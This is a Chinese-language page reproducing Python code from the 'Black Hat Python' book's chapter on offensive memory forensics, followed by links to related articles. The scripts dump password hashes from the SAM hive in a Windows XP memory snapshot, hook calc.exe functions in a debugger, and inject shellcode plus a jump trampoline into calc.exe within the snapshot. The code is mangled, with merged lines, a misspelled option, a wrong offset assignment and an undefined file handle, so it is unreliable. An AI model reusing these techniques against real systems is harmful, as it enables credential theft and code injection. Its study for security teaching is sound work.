《Python黑帽子:黑客与渗透测试编程之道》 自动化攻击取证
import sys
import struct memory_file = "WinXPenSP3-Snapshot8.vmem"
sys.path.append("C:\\Python27\\volatility-2.3.1") import volatility.conf as conf
import volatility.registry as registry registry.PluginImporter()
config = conf.ConfObject() import volatility.commands as commands
import volatility.addrspace as addrspace config.parse_options()
config.PROFILE = "WinXPenSP3x86"
config.LOCALTION = "file://%s"%memory_file registry.register_global_options(config,commands.Command)
registry.register_global_options(config,addrspace.BaseAddressSpace) from volatility.plugins.registry.registryapi import RegistryApi
from volatility.plugins.registry.lsadump import HashDump registry = RegistryApi(config)
registry.populate_offsets() sam_offset = None
sys_offset = None for offset in registry.all_offsets:
if registry.all_offsets[offset].endswith("\\SAM"):
sam_offset = offset
print "[*] SAM: 0x%08x"%offset if registry.all_offsets[offset].endswith("\\system"):
sys_offset = offset
print "[*] System: 0x%08x"%offset
if sam_offset is not None and sys_offset is not None:
config.sys_offset = sys_offset
config.sam_offset = sam_offset hashdump = HashDump(config) for hash in hashdump.calculate():
print hash break if sam_offset is None or sys_offset is None:
print "[*] Failed to find the system or SAM offsets."
直接代码注入
from immlib import * class cc_hook(LogBpHook):
"""docstring for cc_hook"""
def __init__(self,):
LogBpHook.__init__(self)
self.imm = Debugger() def run(self,regs):
self.imm.log("%08x"%regs['EIP'],regs['EIP'])
self.imm.deleteBreakpoint(regs['EIP']) return def main(args):
imm = Debugger() calc = imm.getModule("calc.exe")
imm.analyseCode(calc.getCodebase()) functions = imm.getAllFunctions(calc.getCodebase())
hooker = cc_hook() for function in functions:
hooker.add("%08x"%function,function) return "Tracking %d functions."%len(functions)
#coding=utf-8
import sys
import struct equals_button = 0x01005D51 memory_file = "WinXPenSP3-Snapshot8.vmem"
slack_space = None
trampoline_offset = None #读入我们的shellcode
sc_fd = open("cmeasure.bin","rb")
sc = sc_fd.read()
sc_fd.close() sys.path.append("C:\\Python27\\volatility-2.3.1") import volatility.conf as conf
import volatility.registry as registry registry.PluginImporter()
config = conf.ConfObject() import volatility.commands as commands
import volatility.addrspace as addrspace config.parse_options()
config.PROFILE = "WinXPSP3x86"
config.LOCALTION = "file://%s"%memory_file import volatility.plugins.taskmods as taskmods p = taskmods.PSList(config) for process in p.calculate():
if str(process.ImageFileName) == "calc.exe":
print "[*] Found calc.exe with PID %d"%process.UniqueProcessId
print "[*] Hunting for physical offsets...please wait." address_space = process.get_process_address_space()
pages = address_space.get_available_pages() for page in pages:
physical = address_space.vtop(page[0])
if physical is not None:
if slack_space is None:
fd = open(memory_file,"r+")
fd.seek(physical)
buf = fd.read(page[1]) try:
offset = buf.index("\x00"*len(sc))
slack_space = page[0] + offset print "[*] Found good shellcode location!"
print "[*] Virtual address: 0x%08x"%slack_space
print "[*] Physical address: 0x%08x"%(physical + offset)
print "[*] Injecting shellcode." fd.seek(physical + offset)
fd.write(sc)
fd.close() #创建我们的跳转代码
tramp = "\xbb%s"%struct.pack("<L",page[0] + offset)
tramp += "\xff\xe3" if trampoline_offset is not None:
break except:
pass fd.close() #查看目标代码的位置
if page[0] <= equals_button and equals_button < ((page[0] + page[1]) - 7):
print "[*] Found our trampoline target at: 0x%08x"%(physical) #计算虚拟偏移
v_offset = equals_button = page[0] #计算物理偏移
trampoline_offset = physical + v_offset print "[*] Found our trampoline target at: 0x%08x"%(trampoline_offset) if slack_space is not None:
break print "[*] Writing trampoline..." fd = open(memory_file,"r+")
fd.seek(trampoline_offset)
fd.write(tramp)
f.close() print "[*] Done injecting code."
《Python黑帽子:黑客与渗透测试编程之道》 自动化攻击取证的更多相关文章
- python黑帽子-黑客与渗透测试编程之道(源代码)
链接: https://pan.baidu.com/s/1i5BnB5V 密码: ak9t
- 读书笔记 ~ Python黑帽子 黑客与渗透测试编程之道
Python黑帽子 黑客与渗透测试编程之道 <<< 持续更新中>>> 第一章: 设置python 环境 1.python软件包管理工具安装 root@star ...
- 2017-2018-2 20179204 PYTHON黑帽子 黑客与渗透测试编程之道
python代码见码云:20179204_gege 参考博客Python黑帽子--黑客与渗透测试编程之道.关于<Python黑帽子:黑客与渗透测试编程之道>的学习笔记 第2章 网络基础 t ...
- 《Python黑帽子:黑客与渗透测试编程之道》 扩展Burp代理
下载jython,在Burpsuite的扩展中配置jython路径: Burp模糊测试: #!/usr/bin/python #coding=utf-8 # 导入三个类,其中IBurpExtender ...
- 《Python黑帽子:黑客与渗透测试编程之道》 Web攻击
Web的套接字函数库:urllib2 一开始以urllib2.py命名脚本,在Sublime Text中运行会出错,纠错后发现是重名了,改过来就好: #!/usr/bin/python #coding ...
- 《Python黑帽子:黑客与渗透测试编程之道》 Scapy:网络的掌控者
窃取email认证: 测试代码: #!/usr/bin/python #coding=utf-8 from scapy.all import * #数据包回调函数 def packet_callbac ...
- 《Python黑帽子:黑客与渗透测试编程之道》 网络基础
TCP客户端: 示例中socket对象有两个参数,AF_INET参数表明使用IPv4地址或主机名 SOCK_STREAM参数表示是一个TCP客户端.访问的URL是百度. #coding=utf-8 i ...
- 《Python黑帽子:黑客与渗透测试编程之道》 玩转浏览器
基于浏览器的中间人攻击: #coding=utf-8 import win32com.client import time import urlparse import urllib data_rec ...
- 《Python黑帽子:黑客与渗透测试编程之道》 Windows下木马的常用功能
有趣的键盘记录: 安装pyHook: http://nchc.dl.sourceforge.net/project/pyhook/pyhook/1.5.1/pyHook-1.5.1.win32-py2 ...
- 《Python黑帽子:黑客与渗透测试编程之道》 基于GitHub的命令和控制
GitHub账号设置: 这部分按书上来敲命令即可,当然首先要注册一个GitHub账号还有之前安装的GitHub API库(pip install github3.py),这里就只列一下命令吧: mkd ...
随机推荐
- python之常用模块篇5
一.日志模块,logging模块 1)logging模块简单使用,屏幕输出.默认级别30 import logging logging.debug( logging.info( logging.war ...
- 2018.11.02 NOIP模拟 飞越行星带(最小生成树/二分+并查集)
传送门 发现题目要求的就是从下到上的瓶颈路. 画个图出来发现跟去年noipnoipnoip提高组的奶酪差不多. 于是可以二分宽度+并查集检验,或者直接求瓶颈. 代码
- 牛客训练四:Applese 走方格(细节)
题目链接:传送门 思路:主要是n=1,m=2或者n=2,m=1时,不是-1. #include<iostream> #include<cstdio> #include<c ...
- 实战fortran77基础语法2
由于大量的接触fortran77,先学习fortran77吧 1.fortran不区分大小写,fortran77一般全部大写,感觉没必要,不好读,还是用大小写混合着写吧.后缀 .for 为固定格式的代 ...
- DOM中的事件对象和IE事件对象
DOM中的事件对象 IE事件对象 属性/方法 类型 读/写 说明 属性/方法 类型 读/写 说明 bubles Boolean 只读 表明事件是否冒泡 cancleBubble Boolean ...
- Hadoop Hbase理论及实操
Hbase特点 HBase是一个构建在HDFS上的分布式列存储系统:HBase是基于Google BigTable模型开发的,典型的key/value系统:HBase是Apache Hadoop生态系 ...
- php实现网站四则运算。
1.设计思路: 在index.php中建立两个表单,有两个提交,一个跳转到fourArithmeticOperation.php,这里保存用户输入的参数到config.txt中,留给main函数调出. ...
- 如何更改linux文件的拥有者及用户组(chown和chgrp)
http://blog.csdn.net/hudashi/article/details/7797393 一.基本知识 在Linux中,创建一个文件时,该文件的拥有者都是创建该文件的用户.该文件用 ...
- java基础-day31
第08天 JDBC 今日内容介绍 u JDBC的概述及入门案例 u JDBC的API详解 u JDBC预处理对象 第1章 JDBC的概述及入门案例 1.1 JDBC概述和原理 1.1.1 JDB ...
- java基础-day18
第07天 集合 今日内容介绍 u HashSet集合 u HashMap集合 第1章 HashSet集合 1.1 Set接口的特点 Set体系的集合: A:存入集合的顺序和取出集合的顺序不一 ...